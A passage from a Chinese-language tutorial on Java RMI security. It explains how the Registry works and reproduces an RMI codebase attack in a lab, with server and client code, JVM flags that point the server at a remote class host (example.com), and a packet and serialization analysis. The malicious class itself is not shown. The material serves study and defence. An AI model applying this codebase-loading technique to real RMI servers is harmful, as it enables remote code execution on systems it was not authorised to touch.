\"\"<\/div><\/figure>\n\n\n\n
\u5728 RMI \u91cc\uff0cRegistry \u4e00\u822c\u5b58\u5728\u4e8e\u670d\u52a1\u7aef\u6240\u5728\u673a\u5668\u4e0a<\/strong><\/strong>\u3002RMI Registry\u5c31\u50cf\u4e00\u4e2a\u7f51\u5173\uff0c\u4ed6\u81ea\u5df1\u662f\u4e0d\u4f1a\u6267\u884c\u8fdc\u7a0b\u65b9\u6cd5\u7684\uff0c\u4f46RMI Server\u53ef\u4ee5\u5728\u4e0a\u9762\u6ce8\u518c\u4e00\u4e2aName\u5230\u5bf9\u8c61\u7684\u7ed1\u5b9a\u5173\u7cfb\uff1bRMI Client\u901a\u8fc7Name\u5411RMI Registry\u67e5\u8be2\uff0c\u5f97\u5230\u8fd9\u4e2a\u7ed1\u5b9a\u5173\u7cfb\uff0c\u7136\u540e\u518d\u8fde\u63a5RMI Server\uff1b\u6700\u540e\uff0c\u8fdc\u7a0b\u65b9\u6cd5\u5b9e\u9645\u4e0a\u518dRMI Server\u4e0a\u8c03\u7528\u3002<\/p>\n\n\n\n
RMI\u8fc7\u7a0b\u4e2d\u6709\u4e00\u4e0b\u4e09\u4e2a\u53c2\u4e0e\u8005\uff1a
RMI Registry
RMI Server
RMI Client<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u793a\u4f8b\u4ee3\u7801\u53ea\u6709\u4e24\u90e8\u5206\uff1f\u539f\u56e0\u662f\uff0c\u901a\u5e38\u6211\u4eec\u5728\u65b0\u5efa\u4e00\u4e2aRMI Registry\u7684\u65f6\u5019\uff0c\u90fd\u4f1a\u76f4\u63a5\u7ed1\u5b9a\u5728\u4e00\u4e2a\u5bf9\u8c61\u4e0a\u9762\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u793a\u4f8b\u4ee3\u7801\u4e2d\u7684Server\u5176\u5b9e\u5305\u542b\u4e86Registry\u548cServer\u4e24\u90e8\u5206\uff1a<\/p>\n\n\n\n
LocateRegistry.createRegistry(1099);\nNaming.bind(\"rmi:\/\/127.0.0.1:1099\/Hello\", new RemoteHelloWorld());<\/code><\/pre>\n\n\n\n
\u7b2c\u4e00\u884c\u521b\u5efa\u5e76\u8fd0\u884cRMI Registry\uff0c\u7b2c\u4e8c\u884c\u5c06RemoteHelloWorld\u5bf9\u8c61\u7ed1\u5b9a\u5230Hello\u8fd9\u4e2a\u540d\u5b57\u4e0a\u3002Naming.bind\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u4e00\u4e2aURL\uff0c\u5f62\u5982\uff1armi:\/\/host:port\/name\u3002\u5176\u4e2dhost\u548cport\u5c31\u662fRMI Registry\u7684\u5730\u5740\u548c\u7aef\u53e3\uff0cname\u662f\u8fdc\u7a0b\u5bf9\u8c61\u7684\u540d\u5b57\u3002<\/p>\n\n\n\n
\u5982\u679cRMI Registry\u5728\u672c\u5730\u8fd0\u884c\u90a3\u4e48host\u548cport\u662f\u53ef\u4ee5\u7701\u7565\u7684\uff0c\u6b64\u65f6host\u9ed8\u8ba4\u662flocalhost\uff0cport\u9ed8\u8ba4\u662f1099\uff1a<\/p>\n\n\n\n
Naming.bind(\"Hello\", new RemoteHelloWorld());<\/code><\/pre>\n\n\n\n
\u4ee5\u4e0a\u5c31\u662fRMI\u6574\u4e2a\u7684\u539f\u7406\u4e0e\u6d41\u7a0b\u3002\u90a3\u4e48RMI\u5e26\u6765\u54ea\u4e9b\u5b89\u5168\u95ee\u9898\uff1f\u53ef\u4ee5\u4ece\u4e24\u4e2a\u65b9\u5411\u601d\u8003\u4e00\u4e0b\u8fd9\u4e2a\u95ee\u9898\uff1a
1.\u5982\u679c\u6211\u4eec\u80fd\u8bbf\u95eeRMI Registry\u670d\u52a1\uff0c\u5982\u4f55\u5bf9\u5176\u653b\u51fb\uff1f
2.\u5982\u679c\u6211\u4eec\u63a7\u5236\u4e86\u76ee\u6807RMI\u5ba2\u6237\u7aef\u4e2dNaming.lookup\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff08\u4e5f\u5c31\u662fRMI Registry\u7684\u5730\u5740\uff09\uff0c\u80fd\u4e0d\u80fd\u8fdb\u884c\u653b\u51fb\uff1f<\/p>\n\n\n\n
\u5982\u4f55\u653b\u51fbRMI Registry<\/h2>\n\n\n\n
\u5f53\u6211\u4eec\u53ef\u4ee5\u8bbf\u95ee\u76ee\u6807RMI Registry\u7684\u65f6\u5019\uff0c\u4f1a\u6709\u54ea\u4e9b\u5b89\u5168\u95ee\u9898\u5462\uff1f<\/p>\n\n\n\n
\u9996\u5148RMI Registry\u662f\u4e00\u4e2a\u8fdc\u7a0b\u5bf9\u8c61\u7ba1\u7406\u7684\u5730\u65b9\uff0c\u53ef\u4ee5\u7406\u89e3\u4e3a\u4e00\u4e2a\u8fdc\u7a0b\u5bf9\u8c61\u7684”\u540e\u53f0”\u3002\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u76f4\u63a5\u8bbf\u95ee”\u540e\u53f0”\u529f\u80fd\uff0c\u6bd4\u5982\u4fee\u6539\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0aHello\u5bf9\u5e94\u7684\u5bf9\u8c61\uff1a<\/p>\n\n\n\n
RemoteHelloWorld h = new RemoteHelloWorld();\nNaming.rebind(\"rmi:\/\/192.168.75.153:1099\/Hello\", h);<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u662f\u62a5\u9519\u4e86\uff0c\u662f\u56e0\u4e3aJava\u5bf9\u8fdc\u7a0b\u8bbf\u95eeRMI Registry\u505a\u4e86\u9650\u5236\uff0c\u53ea\u6709\u6765\u6e90\u5730\u5740\u662flocalhost\u7684\u65f6\u5019\uff0c\u624d\u80fd\u8c03\u7528rebind\uff08\u8986\u76d6\u7ed1\u5b9a\uff09\u3001bind\uff08\u7ed1\u5b9a\uff09\u3001unbind\uff08\u5220\u9664\u7ed1\u5b9a\uff09\u7b49\u65b9\u6cd5\u3002\u4e0d\u8fc7list\u548clookup\u65b9\u6cd5\u53ef\u4ee5\u8fdc\u7a0b\u8c03\u7528<\/p>\n\n\n\n
list\u65b9\u6cd5\u53ef\u4ee5\u5217\u51fa\u76ee\u6807\u4e0a\u6240\u6709\u7ed1\u5b9a\u7684\u5bf9\u8c61<\/p>\n\n\n\n
String[] s = Naming.list(\"rmi:\/\/192.168.75.153:1099\");<\/code><\/pre>\n\n\n\n
lookup\u4f5c\u7528\u5c31\u662f\u83b7\u53d6\u67d0\u4e2a\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u90a3\u4e48\u53ea\u8981\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u5b58\u5728\u4e00\u4e9b\u5371\u9669\u65b9\u6cd5\uff0c\u6211\u4eec\u901a\u8fc7RMI\u5c31\u997f\u53ef\u4ee5\u5bf9\u5176\u8fdb\u884c\u8c03\u7528\uff0c\u4e4b\u524d\u66fe\u7ecf\u6709\u4e00\u4e2a\u5de5\u5177https:\/\/github.com\/NickstaDB\/BaRMIe<\/a>\u5176\u4e2d\u4e00\u4e2a\u529f\u80fd\u5c31\u662f\u8fdb\u884c\u5371\u9669\u65b9\u6cd5\u7684\u63a2\u6d4b\u3002<\/p>\n\n\n\n
RMI\u5229\u7528codebase\u6267\u884c\u4efb\u610f\u4ee3\u7801<\/h2>\n\n\n\n
\u66fe\u7ecf\u6709\u6bb5\u65f6\u95f4\uff0cJava\u662f\u53ef\u4ee5\u8fd0\u884c\u5728\u6d4f\u89c8\u5668\u4e2d\u7684\uff0c\u901a\u8fc7\u4f7f\u7528Applet\uff0c\u800c\u5728\u4f7f\u7528Applet\u7684\u65f6\u5019\u901a\u5e38\u9700\u8981\u6307\u5b9a\u4e00\u4e2acodebase\u5c5e\u6027\u6bd4\u5982\uff1a<\/p>\n\n\n\n
<applet code=\"HelloWorld.class\" codebase=\"Applets\" width=\"800\" height=\"600\">\n<\/applet><\/code><\/pre>\n\n\n\n
\u9664\u4e86Applet\uff0cRMI\u4e2d\u4e5f\u5b58\u5728\u8fdc\u7a0b\u52a0\u8f7d\u7684\u573a\u666f\uff0c\u4e5f\u4f1a\u6d89\u53ca\u5230codebase\u3002codebase\u662f\u4e00\u4e2a\u5730\u5740\uff0c\u544a\u8bc9Java\u865a\u62df\u673a\u6211\u4eec\u5e94\u8be5\u4ece\u54ea\u4e2a\u5730\u65b9\u53bb\u641c\u7d22\u7c7b\uff0c\u6709\u70b9\u50cf\u65e5\u5e38\u7528\u7684CLASSPATH\uff0c\u4f46CLASSPATH\u662f\u672c\u5730\u8def\u5f84\uff0c\u800ccodebase\u901a\u5e38\u662f\u8fdc\u7a0bURL\uff0c\u6bd4\u5982http\u3001ftp\u7b49\u3002<\/p>\n\n\n\n
\u5982\u679c\u6211\u4eec\u6307\u5b9acodebase=http:\/\/example.com\/\uff0c\u7136\u540e\u52a0\u8f7dorg.vulhub.example.Example\u7c7b\uff0c\u5219Java\u865a\u62df\u673a\u4f1a\u4e0b\u8f7d\u8fd9\u4e2a\u6587\u4ef6http:\/\/example.com\/org\/vulhub\/example\/Example.class\uff0c\u5e76\u4f5c\u4e3aExample\u7c7b\u7684\u5b57\u8282\u7801\u3002<\/p>\n\n\n\n
RMI\u7684\u6d41\u7a0b\u4e2d\uff0c\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u4e4b\u95f4\u4f20\u9012\u7684\u662f\u4e00\u4e9b\u53cd\u5e8f\u5217\u5316\u540e\u7684\u5bf9\u8c61\uff0c\u8fd9\u4e9b\u5bf9\u8c61\u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5c31\u4f1a\u53bb\u5bfb\u627e\u7c7b\u3002\u5982\u679c\u67d0\u4e00\u7aef\u53cd\u5e8f\u5217\u5316\u65f6\u53d1\u73b0\u4e00\u4e2a\u5bf9\u8c61\uff0c\u90a3\u4e48\u5c31\u4f1a\u53bb\u81ea\u5df1\u7684CLASSPATH\u4e0b\u5bfb\u627e\u60f3\u5bf9\u5e94\u7684\u7c7b\uff1b\u5982\u679c\u5728\u672c\u5730\u6ca1\u6709\u627e\u5230\u8fd9\u4e2a\u7c7b\uff0c\u5c31\u4f1a\u53bb\u8fdc\u7a0b\u52a0\u8f7dcodebase\u4e2d\u7684\u7c7b\u3002<\/p>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679ccodebase\u88ab\u63a7\u5236\uff0c\u6211\u4eec\u4e0d\u5c31\u53ef\u4ee5\u52a0\u8f7d\u6076\u610f\u7c7b\u4e86\u5417\uff1f<\/strong><\/p>\n\n\n\n
\u5728RMI\u4e2d\uff0c\u6211\u4eec\u662f\u53ef\u4ee5\u5c06codebase\u968f\u7740\u5e8f\u5217\u5316\u6570\u636e\u4e00\u8d77\u4f20\u8f93\u7684\uff0c\u670d\u52a1\u5668\u5728\u63a5\u6536\u8fd9\u4e2a\u6570\u636e\u540e\u5c31\u4f1a\u53bbCLASSPATH\u548c\u6307\u5b9a\u7684codebase\u5bfb\u627e\u7c7b\uff0c\u7531\u4e8ecodebase\u88ab\u63a7\u5236\u5bfc\u81f4\u4efb\u610f\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n\n\n
\u4e0d\u8fc7\u663e\u7136\u5b98\u65b9\u4e5f\u6ce8\u610f\u5230\u4e86\u8fd9\u4e00\u4e2a\u5b89\u5168\u9690\u60a3\uff0c\u6240\u4ee5\u53ea\u6709\u6ee1\u8db3\u5982\u4e0b\u6761\u4ef6\u7684RMI\u670d\u52a1\u5668\u624d\u80fd\u88ab\u653b\u51fb\uff1a
1.\u5b89\u88c5\u88ab\u914d\u7f6e\u4e86SecurityManager<\/strong>
2.Java\u7248\u672c\u4f4e\u4e8e7u21\u30016u45\uff0c\u6216\u8005\u8bbe\u7f6e\u4e86java.rmi.server.userCodebaseOnly=false\u5176\u4e2djava.rmi.server.useCodebaseOnly\u662f\u5728Java 7u21\u30016u45\u7684\u65f6\u5019\u4fee\u6539\u7684\u4e00\u4e2a\u9ed8\u8ba4\u914d\u7f6e\uff1a<\/strong>https:\/\/docs.oracle.com\/javase\/7\/docs\/technotes\/guides\/rmi\/enhancements-7.html<\/a>\u3001https:\/\/www.oracle.com\/technetwork\/java\/javase\/7u21-relnotes-1932873.html<\/a><\/p>\n\n\n\n
\u5b98\u65b9\u5c06java.rmi.server.useCodebaseOnly\u7684\u9ed8\u8ba4\u503c\u7531false\u6539\u4e3a\u4e86true\u3002\u5728java.rmi.server.userCodebaseOnly\u914d\u7f6e\u4e3atrue\u7684\u60c5\u51b5\u4e0b\uff0cJava\u865a\u62df\u673a\u53ea\u4fe1\u4efb\u9884\u5148\u914d\u7f6e\u597d\u7684codebase\uff0c\u4e0d\u518d\u652f\u6301\u4eceRMI\u8bf7\u6c42\u4e2d\u83b7\u53d6\u3002<\/p>\n\n\n\n
\u7b80\u5355\u7684RMIServer\u8fdb\u884c\u6f0f\u6d1e\u590d\u73b0<\/p>\n\n\n\n
\/\/ ICalc.java\npackage server;\nimport java.rmi.Remote;\nimport java.rmi.RemoteException;\nimport java.util.List;\npublic interface ICalc extends Remote {\npublic Integer sum(List<Integer> params) throws RemoteException;\n}\n\n\/\/ Calc.java\npackage server;\nimport java.rmi.Remote;\nimport java.rmi.RemoteException;\nimport java.util.List;\nimport java.rmi.server.UnicastRemoteObject;\npublic class Calc extends UnicastRemoteObject implements ICalc {\npublic Calc() throws RemoteException {}\npublic Integer sum(List<Integer> params) throws RemoteException {\nInteger sum = 0;\nfor (Integer param : params) {\nsum += param;\n}\nreturn sum;\n}\n}\n\n\/\/RemoteRMIServer.java\npackage server;\n\nimport java.rmi.Naming;\nimport java.rmi.registry.LocateRegistry;\n\npublic class RemoteRMIServer {\n\n    private void start() throws Exception {\n        if (System.getSecurityManager() == null) {\n            System.out.println(\"setup SecurityManager\");\n            System.setSecurityManager(new SecurityManager());\n        }\n        Calc h = new Calc();\n        LocateRegistry.createRegistry(1099);\n        Naming.rebind(\"refObj\", h);\n    }\n\n    public static void main(String[] args) throws Exception {\n        new RemoteRMIServer().start();\n    }\n}\n\n\/\/ client.policy\ngrant {\n    permission java.security.AllPermission;\n};\n<\/code><\/pre>\n\n\n\n
\u7f16\u8bd1&\u8fd0\u884c<\/p>\n\n\n\n
javac server\/*.java \njava -Djava.rmi.server.hostname=192.168.75.153 \\\n     -Djava.rmi.server.useCodebaseOnly=false \\\n     -Djava.security.policy=client.policy \\\n     server.RemoteRMIServer<\/code><\/pre>\n\n\n\n
\u5176\u4e2d\uff0cjava.rmi.server.hostname\u662f\u670d\u52a1\u5668\u7684\u5730\u5740\uff0c\u8fdc\u7a0b\u8c03\u7528\u65f6\u9700\u8981\u6839\u636e\u8fd9\u4e2a\u7ed9\u503c\u6765\u8bbf\u95eeRMIServer<\/p>\n\n\n\n
\u518d\u5efa\u7acb\u4e00\u4e2aRMIClient.java\uff1a<\/p>\n\n\n\n
import java.rmi.Naming;\nimport java.util.List;\nimport java.util.ArrayList;\nimport java.io.Serializable;\npublic class RMIClient implements Serializable {\n    public class Payload extends ArrayList<Integer> {}\n    public void lookup() throws Exception {\n        ICalc r = (ICalc) \nNaming.lookup(\"rmi:\/\/192.168.135.142:1099\/refObj\");\n        List<Integer> li = new Payload();\n        li.add(3);\n        li.add(4);\n        System.out.println(r.sum(li));\n    }\n    public static void main(String[] args) throws Exception {\n        new RMIClient().lookup();\n    }\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u4e2aClient\u6211\u4eec\u9700\u8981\u5728\u53e6\u4e00\u4e2a\u4f4d\u7f6e\u8fd0\u884c\uff0c\u56e0\u4e3a\u6211\u4eec\u9700\u8981\u8ba9RMI Server\u5728\u672c\u5730CLASSPATH\u91cc\u627e\u4e0d\u5230\u7c7b\uff0c\u624d\u56de\u53bb\u52a0\u8f7dcodebase\u4e2d\u7684\u7c7b\uff0c\u6240\u4ee5\u4e0d\u80fd\u5c06RMIClient.java\u653e\u5728RMI Server\u6240\u5728\u7684\u76ee\u5f55\u4e2d\u3002<\/p>\n\n\n\n
\u8fd0\u884cRMICilent<\/p>\n\n\n\n
java -Djava.rmi.server.useCodebaseOnly=false \nDjava.rmi.server.codebase=http:\/\/example.com\/ RMIClient<\/code><\/pre>\n\n\n\n
\u6b64\u65f6\u4f1a\u629b\u51fa\u4e00\u4e2amagic value\u4e0d\u6b63\u786e\u7684\u9519\u8bef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u67e5\u770bexample.com\u7684\u65e5\u5fd7\u53ef\u4ee5\u89c1\u6536\u5230\u4e86\u6765\u81eaJava\u7684\u8bf7\u6c42\/RMIClient$Payload.class\u3002\u56e0\u4e3a\u6ca1\u6709\u5b9e\u9645\u653e\u7f6e\u8fd9\u4e2a\u7c7b\u6587\u4ef6\uff0c\u6240\u4ee5\u51fa\u73b0\u5f02\u5e38<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56e0\u6b64\u53ea\u9700\u8981\u7f16\u8bd1\u4e00\u4e2a\u6076\u610f\u7c7b\uff0c\u5c06\u5176class\u6587\u4ef6\u653e\u7f6e\u5728Web\u670d\u52a1\u5668\u7684\/RMIClient$Payload.class\u5373\u53ef\u3002<\/p>\n\n\n\n
\u90a3\u4e48\u4ece\u539f\u7406\u4e0a\u6765\u8bb2\uff0ccodebase\u7a76\u7adf\u662f\u5982\u4f55\u4f20\u9012\u8fdb\u800c\u88ab\u5229\u7528\u7684\u5462\uff1f<\/p>\n\n\n\n
\u6293\u53d6RMI\u7684\u6570\u636e\u5305\uff0c\u4e24\u4e2aTCP\u94fe\u63a5
\u672c\u673a\u4e0eRMI Registry\u7684\u901a\u4fe1\uff08\u6570\u636e\u5305\u4e2d\u662f1099\u7aef\u53e3\uff09
\u672c\u673a\u4e0eRMI Server\u7684\u901a\u4fe1\uff08\u6570\u636e\u5305\u4e2d\u662f64000\u7aef\u53e3\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u89c1\uff0c\u5728\u4e0eRMI Registry\u901a\u4fe1\u7684\u65f6\u5019Wireshark\u662f\u8bc6\u522b\u9664\u4e86\u534f\u8bae\u7c7b\u578b\u3002\u6211\u4eec\u9009\u62e9\u5176\u4e2d\u5e8f\u53f7\u4e3a2485\u7684\u6570\u636e\u5305\u7136\u540e\u590d\u5236wireshark\u8bc6\u522b\u51fa\u7684Java Serialization\u6570\u636e\u6bb5\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u6bb5\u6570\u636e\u75310xACED\u5f00\u5934\uff0c\u660e\u663e\u5c31\u80fd\u770b\u51fa\u8fd9\u662f\u4e00\u6bb5Java\u5e8f\u5217\u5316\u6570\u636e\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528SerializationDumper\u5bf9Java\u5e8f\u5217\u5316\u6570\u636e\u8fdb\u884c\u5206\u6790<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
SerializationDumper\u8f93\u51fa\u4e86\u5f88\u591a\u9884\u5b9a\u4e49\u5e38\u91cf\uff0c\u50cfTC_BLOCKDATA\u8fd9\u79cd\uff0c\u662f\u4ec0\u4e48\u610f\u601d\u5462\uff1f\u6b64\u65f6\u9700\u8981\u501f\u52a9Java\u5e8f\u5217\u5316\u7684\u534f\u8bae\u6587\u6863\uff1ahttps:\/\/docs.oracle.com\/javase\/8\/docs\/platform\/serialization\/spec\/protocol.html<\/a><\/p>\n\n\n\n
\u8fd9\u7bc7\u6587\u6863\u91cc\u7528\u4e86\u4e00\u79cd\u7c7b\u4f3cBNF\uff08\u5df4\u79d1\u65af\u8303\u5f0f\uff09\u7684\u5f62\u5f0f\u63cf\u8ff0\u4e86\u5e8f\u5217\u5316\u6570\u636e\u7684\u8bed\u6cd5\uff0c\u6bd4\u5982\u6211\u4eec\u8fd9\u91cc\u7684\u8fd9\u6bb5\u7b80\u5355\u6570\u636e\uff0c\u5176\u6d89\u53ca\u5230\u5982\u4e0b\u8bed\u6cd5\u89c4\u5219\uff1a<\/p>\n\n\n\n
stream:\n  magic version contents\ncontents:\n  content\n  contents content\ncontent:\n  object\n  blockdata\n  \nobject:\n  newObject\n  newClass\n  newArray\n  newString\n  newEnum\n  newClassDesc\n  prevObject\n  nullReference\n  exception\n  TC_RESET\nblockdata:\n  blockdatashort\n  blockdatalong\nblockdatashort:\n  TC_BLOCKDATA (unsigned byte)<size> (byte)[size]\n  \nnewString:\n  TC_STRING newHandle (utf)\n  TC_LONGSTRING newHandle (long-utf)<\/code><\/pre>\n\n\n\n
\u5176\u4e2dTC_BLOCDATA\u8fd9\u90e8\u5206\u5bf9\u5e94\u7684\u662fcontents -> content -> blockdata -> blockdatashort\uff0cTC_STRING\u8fd9\u90e8\u5206\u5bf9\u5e94\u7684\u662fcontents -> content -> object -> newString\u3002\u90fd\u53ef\u4ee5\u5728\u6587\u6863\u91cc\u627e\u5230\u5b8c\u6574\u7684\u8bed\u6cd5\u5b9a\u4e49\u3002<\/p>\n\n\n\n
\u8fd9\u4e00\u6574\u4e2a\u5e8f\u5217\u5316\u5bf9\u8c61\uff0c\u5176\u5b9e\u63cf\u8ff0\u7684\u5c31\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5176\u503c\u662frefobj\u3002\u610f\u601d\u662f\u83b7\u53d6\u8fdc\u7a0b\u7684refobj\u5bf9\u8c61\u3002<\/p>\n\n\n\n
\u63a5\u7740\u6211\u4eec\u5728\u5e8f\u53f7\u4e3a2487\u7684\u6570\u636e\u5305\u4e2d\u83b7\u53d6\u5230\u4e86\u8fd9\u4e2a\u5bf9\u8c61<\/p>\n\n\n\n
STREAM_MAGIC - 0xac ed\nSTREAM_VERSION - 0x00 05\nContents\n  TC_BLOCKDATA - 0x77\n    Length - 15 - 0x0f\n    Contents - 0x01a370dbcf0000019e5ddea2dd8020\n  TC_OBJECT - 0x73\n    TC_PROXYCLASSDESC - 0x7d\n      newHandle 0x00 7e 00 00\n      Interface count - 2 - 0x00 00 00 02\n      proxyInterfaceNames\n        0:\n          Length - 15 - 0x00 0f\n          Value - java.rmi.Remote - 0x6a6176612e726d692e52656d6f7465\n        1:\n          Length - 12 - 0x00 0c\n          Value - server.ICalc - 0x7365727665722e4943616c63\n      classAnnotations\n        TC_NULL - 0x70\n        TC_ENDBLOCKDATA - 0x78\n      superClassDesc\n        TC_CLASSDESC - 0x72\n          className\n            Length - 23 - 0x00 17\n            Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879\n          serialVersionUID - 0xe1 27 da 20 cc 10 43 cb\n          newHandle 0x00 7e 00 01\n          classDescFlags - 0x02 - SC_SERIALIZABLE\n          fieldCount - 1 - 0x00 01\n          Fields\n            0:\n              Object - L - 0x4c\n              fieldName\n                Length - 1 - 0x00 01\n                Value - h - 0x68\n              className1\n                TC_STRING - 0x74\n                  newHandle 0x00 7e 00 02\n                  Length - 37 - 0x00 25\n                  Value - Ljava\/lang\/reflect\/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b\n          classAnnotations\n            TC_NULL - 0x70\n            TC_ENDBLOCKDATA - 0x78\n          superClassDesc\n            TC_NULL - 0x70\n    newHandle 0x00 7e 00 03\n    classdata\n      java.lang.reflect.Proxy\n        values\n          h\n            (object)\n              TC_OBJECT - 0x73\n                TC_CLASSDESC - 0x72\n                  className\n                    Length - 45 - 0x00 2d\n                    Value - java.rmi.server.RemoteObjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572\n                  serialVersionUID - 0x00 00 00 00 00 00 00 02\n                  newHandle 0x00 7e 00 04\n                  classDescFlags - 0x02 - SC_SERIALIZABLE\n                  fieldCount - 0 - 0x00 00\n                  classAnnotations\n                    TC_NULL - 0x70\n                    TC_ENDBLOCKDATA - 0x78\n                  superClassDesc\n                    TC_CLASSDESC - 0x72\n                      className\n                        Length - 28 - 0x00 1c\n                        Value - java.rmi.server.RemoteObject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374\n                      serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e\n                      newHandle 0x00 7e 00 05\n                      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE\n                      fieldCount - 0 - 0x00 00\n                      classAnnotations\n                        TC_NULL - 0x70\n                        TC_ENDBLOCKDATA - 0x78\n                      superClassDesc\n                        TC_NULL - 0x70\n                newHandle 0x00 7e 00 06\n                classdata\n                  java.rmi.server.RemoteObject\n                    values\n                    objectAnnotation\n                      TC_BLOCKDATA - 0x77\n                        Length - 55 - 0x37\n                        Contents - 0x000a556e6963617374526566000e3139322e3136382e37352e3135330000872bd6e3e686967beda7a370dbcf0000019e5ddea2dd800101\n                      TC_ENDBLOCKDATA - 0x78\n                  java.rmi.server.RemoteObjectInvocationHandler\n                    values<\/code><\/pre>\n\n\n\n
\u8fd9\u662f\u4e00\u4e2ajava.lang.reflect.Proxy\u5bf9\u8c61\uff0c\u5176\u4e2d\u6709\u4e00\u6bb5\u6570\u636e\u50a8\u5b58\u5728objectAnnotation\u4e2d\uff1a0x000a556e6963617374526566000e3139322e3136382e37352e3135330000872bd6e3e686967beda7a370dbcf0000019e5ddea2dd800101\uff0c\u8bb0\u5f55\u4e86RMI Server\u7684\u5730\u5740\u548c\u7aef\u53e3\u3002<\/p>\n\n\n\n
\u5728\u62ff\u5230RMI Server\u7684\u5730\u5740\u548c\u7aef\u53e3\u540e\uff0c\u672c\u673a\u5c31\u4f1a\u53bb\u8fde\u63a5\u5e76\u6b63\u5f0f\u5f00\u59cb\u8c03\u7528\u8fdc\u7a0b\u65b9\u6cd5\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u89c1wireshark\u6ca1\u6709\u518d\u8bc6\u522b\u51faRMI\u534f\u8bae\u3002\u6211\u4eec\u9009\u62e92496\u7684\u6570\u636e\u5305\uff0c\u5176\u5185\u5bb9\u662f50 ac ed\u5f00\u593450\u662f\u6307RMI CALL\uff0cac ed\u662fJava\u5e8f\u5217\u5316\u6570\u636e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u89c1\uff0c\u6211\u4eec\u7684codebase\u662f\u901a\u8fc7[Ljava.rmi.server.ObjID;\u7684classAnnotations\u4f20\u9012\u7684\uff0c\u6240\u4ee5\u5373\u4f7f\u6211\u4eec\u6ca1\u6709RMI\u7684\u5ba2\u6237\u7aef\uff0c\u53ea\u9700\u8981\u4fee\u6539classAnnotations\u7684\u503c\uff0c\u5c31\u80fd\u63a7\u5236codebase\uff0c\u4f7f\u5176\u6307\u5411\u653b\u51fb\u8005\u7684\u6076\u610f\u7f51\u7ad9\u3002<\/p>\n\n\n\n
classAnnotations\u662f\u4ec0\u4e48\uff1f<\/strong><\/p>\n\n\n\n
\u5e8f\u5217\u5316Java\u7c7b\u7684\u65f6\u5019\u7528\u5230\u4e86\u4e00\u4e2a\u7c7b\uff0c\u53ebObjectOutputStream\u3002\u8fd9\u4e2a\u7c7b\u5185\u90e8\u6709\u4e00\u4e2a\u65b9\u6cd5annotateClass,ObjectOutputStream\u7684\u5b50\u7c7b\u6709\u9700\u8981\u5411\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\u91cc\u653e\u4efb\u4f55\u5185\u5bb9\uff0c\u90fd\u53ef\u4ee5\u91cd\u5199\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u5199\u5165\u4f60\u81ea\u5df1\u60f3\u8981\u7684\u6570\u636e\uff0c\u7136\u540e\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5c31\u53ef\u4ee5\u8bfb\u53d6\u5230\u8fd9\u4e2a\u4fe1\u606f\u5e76\u4f7f\u7528\u3002<\/p>\n\n\n\n
\u6bd4\u5982\u6211\u4eecRMI\u7684\u7c7bMarshalOutputStream\u5c31\u5c06\u5f53\u524d\u7684codebase\u5199\u5165:<\/p>\n\n\n\n
https:\/\/github.com\/JetBrains\/jdk8u_jdk\/blob\/8db9d62a1cfe07fd4260b83ae86e39f80c0a9ff2\/src\/share\/classes\/java\/rmi\/server\/RMIClassLoader.java#L657<\/a><\/p>\n\n\n\n
https:\/\/github.com\/JetBrains\/jdk8u_jdk\/blob\/8db9d62a1c\/src\/share\/classes\/sun\/rmi\/server\/LoaderHandler.java#L282<\/a><\/p>\n\n\n\n
\u6240\u4ee5\uff0c\u6211\u4eec\u5728\u5206\u6790\u5e8f\u5217\u5316\u6570\u636e\u65f6\u770b\u5230\u7684classAnnotations\uff0c\u5b9e\u9645\u4e0a\u5c31\u662fannotateClass\u65b9\u6cd5\u5199\u5165\u7684\u5185\u5bb9\u3002<\/p>\n\n\n\n
RMI\u603b\u7ed3<\/h2>\n\n\n\n
RMI\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528\uff0c\u4e00\u5171\u4e09\u90e8\u5206Server Registry Client
\u901a\u4fe1\u8fc7\u7a0b\uff1a
1.Server\u5c06Registry\u7ed1\u5b9a\u5728\u67d0\u4e2a\u63a5\u53e3\u4e0a
2.Client -> Registry\u5efa\u7acbTCP\u8fde\u63a5
3.Registry \u8fd4\u56de\u5e8f\u5217\u5316\u5bf9\u8c61-> Client \u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u53d1\u73b0\u662f\u8fdc\u7a0b\u5bf9\u8c61\u5e26\u6709IP:\u7aef\u53e3
